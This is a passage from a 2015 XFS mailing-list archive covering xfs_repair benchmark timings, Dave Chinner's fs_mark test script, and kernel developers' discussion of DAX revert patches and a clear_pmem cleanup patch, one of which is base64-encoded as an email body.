on the order of tenths of a second. Here's a for-next (e.g., no max lsn tracking) run for reference: Phase Start End Duration Phase 1: 10/01 13:19:53 10/01 13:19:53 Phase 2: 10/01 13:19:53 10/01 13:19:56 3 seconds Phase 3: 10/01 13:19:56 10/01 13:21:11 1 minute, 15 seconds Phase 4: 10/01 13:21:11 10/01 13:21:22 11 seconds Phase 5: 10/01 13:21:22 10/01 13:21:23 1 second Phase 6: 10/01 13:21:23 10/01 13:21:57 34 seconds Phase 7: 10/01 13:21:57 10/01 13:21:57 So I'm not seeing much difference here with the max lsn tracking as it is implemented in this series. Out of curiosity, I ran a v3.2.2 xfs_repair binary that happened to be installed on this host, got a much faster result than even the current master, and via perf diff discovered that the biggest difference between the runs was actual CRC calculation. Based on that, I ran the same crc=0 test against the current code with the following results: Phase Start End Duration Phase 1: 10/01 13:53:49 10/01 13:53:49 Phase 2: 10/01 13:53:49 10/01 13:53:50 1 second Phase 3: 10/01 13:53:50 10/01 13:54:52 1 minute, 2 seconds Phase 4: 10/01 13:54:52 10/01 13:55:01 9 seconds Phase 5: 10/01 13:55:01 10/01 13:55:01 Phase 6: 10/01 13:55:01 10/01 13:55:35 34 seconds Phase 7: 10/01 13:55:35 10/01 13:55:35 ... so that knocks off another 15s or so from the test. Note that the lsn lock is irrelevant in the crc=0 case as there are no metadata LSNs, thus no verification occurs. All in all, I can't really reproduce any tangible degradation due to the maxlsn lock and I don't really want to prematurely optimize it if it's not a contention point in practice. Thoughts? If you get a chance, care to give this code a quick run under your xfs_repair test environment? If you can reproduce something there, I can continue to try and figure out what might be different in my test. Brian [1] xfs_repair -o bhash=100101 -v -v -t 1 -f > $ cat ~/tests/fsmark-50-test-xfs.sh > #!/bin/bash > > QUOTA= > MKFSOPTS= > NFILES=100000 > DEV=/dev/vdc > LOGBSIZE=256k > > while [ $# -gt 0 ]; do > case "$1" in > -q) QUOTA="uquota,gquota,pquota" ;; > -N) NFILES=$2 ; shift ;; > -d) DEV=$2 ; shift ;; > -l) LOGBSIZE=$2; shift ;; > --) shift ; break ;; > esac > shift > done > MKFSOPTS="$MKFSOPTS $*" > > echo QUOTA=$QUOTA > echo MKFSOPTS=$MKFSOPTS > echo DEV=$DEV > > sudo umount /mnt/scratch > /dev/null 2>&1 > sudo mkfs.xfs -f $MKFSOPTS $DEV > sudo mount -o nobarrier,logbsize=$LOGBSIZE,$QUOTA $DEV /mnt/scratch > sudo chmod 777 /mnt/scratch > cd /home/dave/src/fs_mark-3.3/ > sudo sh -c "echo 1 > /proc/sys/fs/xfs/stats_clear" > time ./fs_mark -D 10000 -S0 -n $NFILES -s 0 -L 32 \ > -d /mnt/scratch/0 -d /mnt/scratch/1 \ > -d /mnt/scratch/2 -d /mnt/scratch/3 \ > -d /mnt/scratch/4 -d /mnt/scratch/5 \ > -d /mnt/scratch/6 -d /mnt/scratch/7 \ > -d /mnt/scratch/8 -d /mnt/scratch/9 \ > -d /mnt/scratch/10 -d /mnt/scratch/11 \ > -d /mnt/scratch/12 -d /mnt/scratch/13 \ > -d /mnt/scratch/14 -d /mnt/scratch/15 \ > | tee >(stats --trim-outliers | tail -1 1>&2) > sync > > echo Repair > sudo umount /mnt/scratch > time sudo xfs_repair -o bhash=100101 -v -v -t 1 $DEV > time sudo mount -o nobarrier,logbsize=$LOGBSIZE,$QUOTA $DEV /mnt/scratch > > echo bulkstat files > > time ( > sudo ~/src/xfstests-dev/src/bstat -q /mnt/scratch 1024 | wc -l > ) > > echo walking files > ~/tests/walk-scratch.sh > > echo removing files > for f in /mnt/scratch/* ; do time rm -rf $f & done > wait > > sudo umount /mnt/scratch > $ > > -- > Dave Chinner > david@fromorbit.com From dan.j.williams@intel.com Thu Oct 1 17:14:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6735E7F55 for ; Thu, 1 Oct 2015 17:14:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5FFBB304059 for ; Thu, 1 Oct 2015 15:14:25 -0700 (PDT) X-ASG-Debug-ID: 1443737663-04cb6c6b041900f0001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id lmai3302bAPUhGTi for ; Thu, 01 Oct 2015 15:14:23 -0700 (PDT) X-Barracuda-Envelope-From: dan.j.williams@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga001.jf.intel.com ([10.7.209.18]) by orsmga101.jf.intel.com with ESMTP; 01 Oct 2015 15:14:22 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,619,1437462000"; d="scan'208";a="782260778" Received: from orsmsx108.amr.corp.intel.com ([10.22.240.6]) by orsmga001.jf.intel.com with ESMTP; 01 Oct 2015 15:14:22 -0700 Received: from orsmsx153.amr.corp.intel.com (10.22.226.247) by ORSMSX108.amr.corp.intel.com (10.22.240.6) with Microsoft SMTP Server (TLS) id 14.3.248.2; Thu, 1 Oct 2015 15:14:22 -0700 Received: from orsmsx107.amr.corp.intel.com ([169.254.1.121]) by ORSMSX153.amr.corp.intel.com ([169.254.12.27]) with mapi id 14.03.0248.002; Thu, 1 Oct 2015 15:14:22 -0700 From: "Williams, Dan J" To: "ross.zwisler@linux.intel.com" CC: "kirill.shutemov@linux.intel.com" , "linux-kernel@vger.kernel.org" , "xfs@oss.sgi.com" , "dave.hansen@linux.intel.com" , "linux-nvdimm@lists.01.org" , "willy@linux.intel.com" , "linux-fsdevel@vger.kernel.org" , "david@fromorbit.com" , "jack@suse.cz" Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Thread-Topic: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Thread-Index: AQHQ/B2CBosi9sTTmkyK3Eh23q6AQ55XjE2AgAAd2YA= Date: Thu, 1 Oct 2015 22:14:22 +0000 Message-ID: <1443737659.4886.3.camel@intel.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <1443685599-4843-2-git-send-email-david@fromorbit.com> <20151001202729.GA23495@linux.intel.com> In-Reply-To: <20151001202729.GA23495@linux.intel.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.22.254.139] Content-Type: text/plain; charset="utf-8" Content-ID: Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1443737663 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 T24gVGh1LCAyMDE1LTEwLTAxIGF0IDE0OjI3IC0wNjAwLCBSb3NzIFp3aXNsZXIgd3JvdGU6DQo+ IE9uIFRodSwgT2N0IDAxLCAyMDE1IGF0IDA1OjQ2OjMzUE0gKzEwMDAsIERhdmUgQ2hpbm5lciB3 cm90ZToNCj4gPiBUaGlzIHJldmVydHMgY29tbWl0IDQ2YzA0M2VkZTQ3MTFlOGQ1OThiOWQ2M2M1 NjE2YzFmZWRiMDYwNWUuDQo+ID4gLS0tDQo+ID4gIGZzL2RheC5jICAgIHwgMzYgKysrKysrKysr KysrKysrKy0tLS0tLS0tLS0tLS0tLS0tLS0tDQo+ID4gIG1tL21lbW9yeS5jIHwgMTEgKysrKysr KysrLS0NCj4gPiAgMiBmaWxlcyBjaGFuZ2VkLCAyNSBpbnNlcnRpb25zKCspLCAyMiBkZWxldGlv bnMoLSkNCj4gPiANCj4gPiBkaWZmIC0tZ2l0IGEvZnMvZGF4LmMgYi9mcy9kYXguYw0KPiA+IGlu ZGV4IDdhZTZkZjcuLjQwMGZlOTUgMTAwNjQ0DQo+ID4gLS0tIGEvZnMvZGF4LmMNCj4gPiArKysg Yi9mcy9kYXguYw0KPiA+IEBAIC01NjksMjYgKzU2OSw2IEBAIGludCBfX2RheF9wbWRfZmF1bHQo c3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcywNCj4gPiAg CWlmICghYnVmZmVyX3NpemVfdmFsaWQoJmJoKSB8fCBiaC5iX3NpemUgPCBQTURfU0laRSkNCj4g PiAgCQlnb3RvIGZhbGxiYWNrOw0KPiA+ICANCj4gPiAtCWlmIChidWZmZXJfdW53cml0dGVuKCZi aCkgfHwgYnVmZmVyX25ldygmYmgpKSB7DQo+ID4gLQkJaW50IGk7DQo+ID4gLQkJZm9yIChpID0g MDsgaSA8IFBUUlNfUEVSX1BNRDsgaSsrKQ0KPiA+IC0JCQljbGVhcl9wbWVtKGthZGRyICsgaSAq IFBBR0VfU0laRSwgUEFHRV9TSVpFKTsNCj4gPiAtCQl3bWJfcG1lbSgpOw0KPiANCj4gVGhlIGFi b3ZlIHR3byBsaW5lcyB3ZXJlIHVwZGF0ZWQgdG8gdXNlIHRoZSBQTUVNIEFQSSB3aXRoIHRoaXMg Y29tbWl0Og0KPiANCj4gY29tbWl0IGQ3N2U5MmUyNzBlZCAoImRheDogdXBkYXRlIFBNRCBmYXVs dCBoYW5kbGVyIHdpdGggUE1FTSBBUEkiKQ0KPiANCj4gYnV0IHRoZXkgYXJlbid0IHVwZGF0ZWQg aW4gdGhlIHJldmVydGVkIHZlcnNpb24gaGVyZTogDQo+IA0KPiA+IEBAIC02MzMsNiArNjIwLDE1 IEBAIGludCBfX2RheF9wbWRfZmF1bHQoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2ln bmVkIGxvbmcgYWRkcmVzcywNCj4gPiAgCQlpZiAoKGxlbmd0aCA8IFBNRF9TSVpFKSB8fCAocGZu ICYgUEdfUE1EX0NPTE9VUikpDQo+ID4gIAkJCWdvdG8gZmFsbGJhY2s7DQo+ID4gIA0KPiA+ICsJ CWlmIChidWZmZXJfdW53cml0dGVuKCZiaCkgfHwgYnVmZmVyX25ldygmYmgpKSB7DQo+ID4gKwkJ CWludCBpOw0KPiA+ICsJCQlmb3IgKGkgPSAwOyBpIDwgUFRSU19QRVJfUE1EOyBpKyspDQo+ID4g KwkJCQljbGVhcl9wYWdlKGthZGRyICsgaSAqIFBBR0VfU0laRSk7DQo+ID4gKwkJCWNvdW50X3Zt X2V2ZW50KFBHTUFKRkFVTFQpOw0KPiA+ICsJCQltZW1fY2dyb3VwX2NvdW50X3ZtX2V2ZW50KHZt YS0+dm1fbW0sIFBHTUFKRkFVTFQpOw0KPiA+ICsJCQlyZXN1bHQgfD0gVk1fRkFVTFRfTUFKT1I7 DQo+ID4gKwkJfQ0KPiA+ICsNCj4gPiAgCQlyZXN1bHQgfD0gdm1mX2luc2VydF9wZm5fcG1kKHZt YSwgYWRkcmVzcywgcG1kLCBwZm4sIHdyaXRlKTsNCj4gPiAgCX0NCj4gDQo+IFRoaXMgaXMgdGhl IHNvdXJjZSBvZiB0aGUgZm9sbG93LXVwIHNwYXJzZSB3YXJuaW5nIGZyb20gdGhlIGtidWlsZCBy b2JvdC4NCj4gDQoNClRvIHRoYXQgZW5kIERhdmUgSGFuc2VuIGhhZCBhbHNvIG5vdGljZWQgdGhh dCBQVFJTX1BFUl9QTUQgc2hvdWxkIG5vdCBiZQ0KdXNlZCBpbiB0aGlzIGNvbnRleHQuICBIZXJl J3MgYW4gaW5jcmVtZW50YWwgY2xlYW51cDoNCg0KODwtLS0NClN1YmplY3Q6IHBtZW0sIGRheDog Y2xlYW4gdXAgY2xlYXJfcG1lbSgpDQoNCkZyb206IERhbiBXaWxsaWFtcyA8ZGFuLmoud2lsbGlh bXNAaW50ZWwuY29tPg0KDQpCb3RoLCBfX2RheF9wbWRfZmF1bHQsIGFuZCBjbGVhcl9wbWVtKCkg d2VyZSB0YWtpbmcgc3BlY2lhbCBzdGVwcyB0bw0KY2xlYXIgbWVtb3J5IGEgcGFnZSBhdCBhIHRp bWUgdG8gdGFrZSBhZHZhbnRhZ2Ugb2Ygbm9uLXRlbXBvcmFsDQpjbGVhcl9wYWdlKCkgaW1wbGVt ZW50YXRpb25zLiAgSG93ZXZlciwgeDg2XzY0IGRvZXMgbm90IHVzZQ0Kbm9uLXRlbXBvcmFsIGlu c3RydWN0aW9ucyBmb3IgY2xlYXJfcGFnZSgpLCBhbmQgYXJjaF9jbGVhcl9wbWVtKCkgd2FzDQph bHdheXMgaW5jdXJyaW5nIHRoZSBjb3N0IG9mIF9fYXJjaF93Yl9jYWNoZV9wbWVtKCkuDQoNCkNs ZWFuIHVwIHRoZSBhc3N1bXB0aW9uIHRoYXQgZG9pbmcgY2xlYXJfcG1lbSgpIGEgcGFnZSBhdCBh IHRpbWUgaXMgbW9yZQ0KcGVyZm9ybWFudC4NCg0KQ2M6IFJvc3MgWndpc2xlciA8cm9zcy56d2lz bGVyQGxpbnV4LmludGVsLmNvbT4NClJlcG9ydGVkLWJ5OiBEYXZlIEhhbnNlbiA8ZGF2ZS5oYW5z ZW5AbGludXguaW50ZWwuY29tPg0KU2lnbmVkLW9mZi1ieTogRGFuIFdpbGxpYW1zIDxkYW4uai53 aWxsaWFtc0BpbnRlbC5jb20+DQotLS0NCiBhcmNoL3g4Ni9pbmNsdWRlL2FzbS9wbWVtLmggfCAg ICA3ICstLS0tLS0NCiBmcy9kYXguYyAgICAgICAgICAgICAgICAgICAgfCAgICA0ICstLS0NCiAy IGZpbGVzIGNoYW5nZWQsIDIgaW5zZXJ0aW9ucygrKSwgOSBkZWxldGlvbnMoLSkNCg0KZGlmZiAt LWdpdCBhL2FyY2gveDg2L2luY2x1ZGUvYXNtL3BtZW0uaCBiL2FyY2gveDg2L2luY2x1ZGUvYXNt L3BtZW0uaA0KaW5kZXggZDhjZTNlYzgxNmFiLi4xNTQ0ZmFiY2Q3ZjkgMTAwNjQ0DQotLS0gYS9h cmNoL3g4Ni9pbmNsdWRlL2FzbS9wbWVtLmgNCisrKyBiL2FyY2gveDg2L2luY2x1ZGUvYXNtL3Bt ZW0uaA0KQEAgLTEzMiwxMiArMTMyLDcgQEAgc3RhdGljIGlubGluZSB2b2lkIGFyY2hfY2xlYXJf cG1lbSh2b2lkIF9fcG1lbSAqYWRkciwgc2l6ZV90IHNpemUpDQogew0KIAl2b2lkICp2YWRkciA9 ICh2b2lkIF9fZm9yY2UgKilhZGRyOw0KIA0KLQkvKiBUT0RPOiBpbXBsZW1lbnQgdGhlIHplcm9p bmcgdmlhIG5vbi10ZW1wb3JhbCB3cml0ZXMgKi8NCi0JaWYgKHNpemUgPT0gUEFHRV9TSVpFICYm ICgodW5zaWduZWQgbG9uZyl2YWRkciAmIH5QQUdFX01BU0spID09IDApDQotCQljbGVhcl9wYWdl KHZhZGRyKTsNCi0JZWxzZQ0KLQkJbWVtc2V0KHZhZGRyLCAwLCBzaXplKTsNCi0NCisJbWVtc2V0 KHZhZGRyLCAwLCBzaXplKTsNCiAJX19hcmNoX3diX2NhY2hlX3BtZW0odmFkZHIsIHNpemUpOw0K IH0NCiANCmRpZmYgLS1naXQgYS9mcy9kYXguYyBiL2ZzL2RheC5jDQppbmRleCBiMzZkNmQyZTdm ODcuLjNmYWZmOTIyNzEzNSAxMDA2NDQNCi0tLSBhL2ZzL2RheC5jDQorKysgYi9mcy9kYXguYw0K QEAgLTYyNSw5ICs2MjUsNyBAQCBpbnQgX19kYXhfcG1kX2ZhdWx0KHN0cnVjdCB2bV9hcmVhX3N0 cnVjdCAqdm1hLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MsDQogCQkJZ290byBmYWxsYmFjazsNCiAN CiAJCWlmIChidWZmZXJfdW53cml0dGVuKCZiaCkgfHwgYnVmZmVyX25ldygmYmgpKSB7DQotCQkJ aW50IGk7DQotCQkJZm9yIChpID0gMDsgaSA8IFBUUlNfUEVSX1BNRDsgaSsrKQ0KLQkJCQljbGVh cl9wYWdlKGthZGRyICsgaSAqIFBBR0VfU0laRSk7DQorCQkJY2xlYXJfcG1lbShrYWRkciwgSFBB R0VfU0laRSk7DQogCQkJY291bnRfdm1fZXZlbnQoUEdNQUpGQVVMVCk7DQogCQkJbWVtX2Nncm91 cF9jb3VudF92bV9ldmVudCh2bWEtPnZtX21tLCBQR01BSkZBVUxUKTsNCiAJCQlyZXN1bHQgfD0g Vk1fRkFVTFRfTUFKT1I7DQoNCg== From david@fromorbit.com Thu Oct 1 17:32:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 89D3B7F55 for ; Thu, 1 Oct 2015 17:32:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2F71DAC008 for ; Thu, 1 Oct 2015 15:32:44 -0700 (PDT) X-ASG-Debug-ID: 1443738762-04bdf046281a3b70001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id GDCnPxd9CAwkmLRt for ; Thu, 01 Oct 2015 15:32:42 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2A5CAD0sw1WPEcOLHleGQGDDYFChlqiTAEBAQEBAQaLEYUOjB0EAgKBNk0BAQEBAQEHAQEBAUABP4QkAQEBAwEnExwoCwgDGAklDwUlAwcaARKIJgfMDwwgGYYThUWFFIQsBYc2jkONDoFWjTiEBoRWg2+EdywziXgBAQE Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Oct 2015 08:02:40 +0930 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZhmP2-0007dE-Ag; Fri, 02 Oct 2015 08:32:40 +1000 Date: Fri, 2 Oct 2015 08:32:40 +1000 From: Dave Chinner To: Ross Zwisler , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-ID: <20151001223240.GI27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <1443685599-4843-2-git-send-email-david@fromorbit.com> <20151001202729.GA23495@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151001202729.GA23495@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443738762 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23096 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 01, 2015 at 02:27:29PM -0600, Ross Zwisler wrote: > On Thu, Oct 01, 2015 at 05:46:33PM +1000, Dave Chinner wrote: > > This reverts commit 46c043ede4711e8d598b9d63c5616c1fedb0605e. > > --- > > fs/dax.c | 36 ++++++++++++++++-------------------- > > mm/memory.c | 11 +++++++++-- > > 2 files changed, 25 insertions(+), 22 deletions(-) > > > > diff --git a/fs/dax.c b/fs/dax.c > > index 7ae6df7..400fe95 100644 > > --- a/fs/dax.c > > +++ b/fs/dax.c > > @@ -569,26 +569,6 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, > > if (!buffer_size_valid(&bh) || bh.b_size < PMD_SIZE) > > goto fallback; > > > > - if (buffer_unwritten(&bh) || buffer_new(&bh)) { > > - int i; > > - for (i = 0; i < PTRS_PER_PMD; i++) > > - clear_pmem(kaddr + i * PAGE_SIZE, PAGE_SIZE); > > - wmb_pmem(); > > The above two lines were updated to use the PMEM API with this commit: > > commit d77e92e270ed ("dax: update PMD fault handler with PMEM API") > > but they aren't updated in the reverted version here: > > > @@ -633,6 +620,15 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, > > if ((length < PMD_SIZE) || (pfn & PG_PMD_COLOUR)) > > goto fallback; > > > > + if (buffer_unwritten(&bh) || buffer_new(&bh)) { > > + int i; > > + for (i = 0; i < PTRS_PER_PMD; i++) > > + clear_page(kaddr + i * PAGE_SIZE); > > + count_vm_event(PGMAJFAULT); > > + mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); > > + result |= VM_FAULT_MAJOR; > > + } > > + > > result |= vmf_insert_pfn_pmd(vma, address, pmd, pfn, write); > > } > > This is the source of the follow-up sparse warning from the kbuild robot. I couldn't work out what set of commits I needed to revert to get a clean revert, so I just reverted the commits and hacked out the revert failures to what looked ok. Feel free to send me a clean set of reverts, and I'll replace these patches with them... :) > Also, if I understood your previous mails correctly you were targeting the > first two revert patches for v4.3 so we get back to v4.2 level locking, and > the rest of the series will target v4.4, correct? How does this work? Do the > patches need to be split into two series and tested separately? Test it and push the reverts however you like. I don't care how the reverts get to 4.3 - I'll be carrying them locally in my trees from now and so my development and testing is now unaffected by the bugs that are in the 4.3 code. If you aren't going to push them for 4.3 then I'd suggest that they go to linus along with the rest of the XFS changes in this series. FWIW, I'm quite happy to host all the pending DAX changes in a public git tree and ask for it to be included in linux-next. It's probably a good idea to do this because it makes it much easier to co-ordinate merges when we are touching multiple subsystems (ext4, xfs, dax, mm, etc). And it will help prevent the "patches molder on the list until Andrew hoovers them up" problem and so prevent this situation from happening in the future... Cheers, Dave. -- Dave Chinner david@fromorbit.com From ross.zwisler@linux.intel.com Thu Oct 1 17:45:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3D3F07F55 for ; Thu, 1 Oct 2015 17:45:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 10EF1304053 for ; Thu, 1 Oct 2015 15:45:07 -0700 (PDT) X-ASG-Debug-ID: 1443739505-04bdf046281a3e90001-NocioJ Received: from mga09.intel.com (mga09.intel.com [134.134.136.24]) by cuda.sgi.com with ESMTP id tnRIBmznBg1dXNIO for ; Thu, 01 Oct 2015 15:45:06 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.24 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga003.fm.intel.com ([10.253.24.29]) by orsmga102.jf.intel.com with ESMTP; 01 Oct 2015 15:45:06 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,620,1437462000"; d="scan'208";a="572428007" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by FMSMGA003.fm.intel.com with ESMTP; 01 Oct 2015 15:45:04 -0700 Date: Thu, 1 Oct 2015 16:45:04 -0600 From: Ross Zwisler To: "Williams, Dan J" Cc: "ross.zwisler@linux.intel.com" , "kirill.shutemov@linux.intel.com" , "linux-kernel@vger.kernel.org" , "xfs@oss.sgi.com" , "dave.hansen@linux.intel.com" , "linux-nvdimm@lists.01.org" , "willy@linux.intel.com" , "linux-fsdevel@vger.kernel.org" , "david@fromorbit.com" , "jack@suse.cz" Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-ID: <20151001224504.GA7634@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Mail-Followup-To: Ross Zwisler , "Williams, Dan J" , "kirill.shutemov@linux.intel.com" , "linux-kernel@vger.kernel.org" , "xfs@oss.sgi.com" , "dave.hansen@linux.intel.com" , "linux-nvdimm@lists.01.org" , "willy@linux.intel.com" , "linux-fsdevel@vger.kernel.org" , "david@fromorbit.com" , "jack@suse.cz" References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <1443685599-4843-2-git-send-email-david@fromorbit.com> <20151001202729.GA23495@linux.intel.com> <1443737659.4886.3.camel@intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443737659.4886.3.camel@intel.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga09.intel.com[134.134.136.24] X-Barracuda-Start-Time: 1443739505 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 01, 2015 at 10:14:22PM +0000, Williams, Dan J wrote: > Subject: pmem, dax: clean up clear_pmem() > > From: Dan Williams > > Both, __dax_pmd_fault, and clear_pmem() were taking special steps to > clear memory a page at a time to take advantage of non-temporal > clear_page() implementations. However, x86_64 does not use > non-temporal instructions for clear_page(), and arch_clear_pmem() was > always incurring the cost of __arch_wb_cache_pmem(). > > Clean up the assumption that doing clear_pmem() a page at a time is more > performant. > > Cc: Ross Zwisler > Reported-by: Dave Hansen > Signed-off-by: Dan Williams > --- > arch/x86/include/asm/pmem.h | 7 +------ > fs/dax.c | 4 +--- > 2 files changed, 2 insertions(+), 9 deletions(-) > > diff --git a/arch/x86/include/asm/pmem.h b/arch/x86/include/asm/pmem.h > index d8ce3ec816ab..1544fabcd7f9 100644 > --- a/arch/x86/include/asm/pmem.h > +++ b/arch/x86/include/asm/pmem.h > @@ -132,12 +132,7 @@ static inline void arch_clear_pmem(void __pmem *addr, size_t size) > { > void *vaddr = (void __force *)addr; > > - /* TODO: implement the zeroing via non-temporal writes */ > - if (size == PAGE_SIZE && ((unsigned long)vaddr & ~PAGE_MASK) == 0) > - clear_page(vaddr); > - else > - memset(vaddr, 0, size); > - > + memset(vaddr, 0, size); > __arch_wb_cache_pmem(vaddr, size); > } > > diff --git a/fs/dax.c b/fs/dax.c > index b36d6d2e7f87..3faff9227135 100644 > --- a/fs/dax.c > +++ b/fs/dax.c > @@ -625,9 +625,7 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, > goto fallback; > > if (buffer_unwritten(&bh) || buffer_new(&bh)) { > - int i; > - for (i = 0; i < PTRS_PER_PMD; i++) > - clear_page(kaddr + i * PAGE_SIZE); > + clear_pmem(kaddr, HPAGE_SIZE); > count_vm_event(PGMAJFAULT); > mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); > result |= VM_FAULT_MAJOR; > This clear_pmem() needs a wmb_pmem() after it. I'll make a quick series with the clean revert and this guy at the end and try and get them in v4.3 - sound good? From ross.zwisler@linux.intel.com Thu Oct 1 17:47:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B903F7F55 for ; Thu, 1 Oct 2015 17:47:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92C7D304051 for ; Thu, 1 Oct 2015 15:47:48 -0700 (PDT) X-ASG-Debug-ID: 1443739666-04bdf046271a3f20001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id sYSUO9BGEUU23YyM for ; Thu, 01 Oct 2015 15:47:46 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from orsmga003.jf.intel.com ([10.7.209.27]) by orsmga103.jf.intel.com with ESMTP; 01 Oct 2015 15:47:46 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,620,1437462000"; d="scan'208";a="656202455" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by orsmga003.jf.intel.com with ESMTP; 01 Oct 2015 15:47:46 -0700 Date: Thu, 1 Oct 2015 16:47:45 -0600 From: Ross Zwisler To: Dave Chinner Cc: Ross Zwisler 